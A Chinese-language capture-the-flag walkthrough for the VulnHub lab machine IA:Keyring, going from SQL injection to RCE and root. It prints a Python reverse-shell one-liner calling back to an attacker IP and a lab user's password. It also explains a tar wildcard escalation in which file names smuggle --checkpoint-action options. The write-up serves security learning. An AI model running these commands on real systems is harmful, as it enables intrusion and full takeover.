IA:Keyring (1.0.1)
项目地址:https://download.vulnhub.com/ia/keyring-v1.01.ova
是一个打包好的镜像文件
注意:导入 ovf 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

SQL 注入
user
80 端口是一个注册页面

随便注册一个账号,点击 Login 跳转到登录页面登录

登录后如下

目录扫描发现 history.php 文件,访问是空白

退出登录后再访问回显不能找到某个用户的活动

传入参数 user=suc2es2 还是一样的回显

重新登录后再访问有回显了

查询 admin 用户信息则返回了一个 GitHub 链接

拿到了项目源码,存在 RCE 漏洞

对 user 参数进行测试,发现存在 SQL 注入漏洞,使用 SQLMap 时需要携带 Cookie

成功拿到 admin 用户的密码

登录成功

RCE
cmdcntr
根据前面拿到的源码,直接打 RCE,使用 Python 打反弹 Shell
1 | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.246.3",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' |

提权
Python 升级为交互式 Shell
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
敏感信息泄露
查看家目录有 john 用户

前面 SQLMap 拿到过其账号的密码,SSH 登录不行,只能切换用户了
1 | Sup3r$S3cr3t$PasSW0RD |

tar 提权
在 john 家目录下发现的 compress 文件下载下来逆向分析
发现使用 root 权限执行了 /bin/tar cf archive.tar *

tar 命令支持一些特殊的选项,例如 --checkpoint 和 --checkpoint-action,它们通常用于在打包过程中显示进度或执行指定操作:
--checkpoint=N:每处理 N 个文件后输出一个检查点--checkpoint-action=ACTION:在到达检查点时执行指定的动作
当我们在命令行中执行 tar cf archive.tar * 时,shell 会将 * 扩展为当前目录下的所有文件名
如果这些文件名恰好以 -- 开头(例如 --checkpoint=1),那么它们会被 tar 解释为命令行选项,而不是普通的文件名
因此,攻击者可以在目标目录下创建具有特定名称的文件,当 tar 运行时,这些文件名就会被当作选项传递给 tar
从而触发 --checkpoint 机制,进而执行攻击者指定的命令
在 /var/www/html 目录下(即脚本执行时所在的目录),我们需要创建三个文件:
--checkpoint=1--checkpoint-action=exec=sh shell.shshell.sh
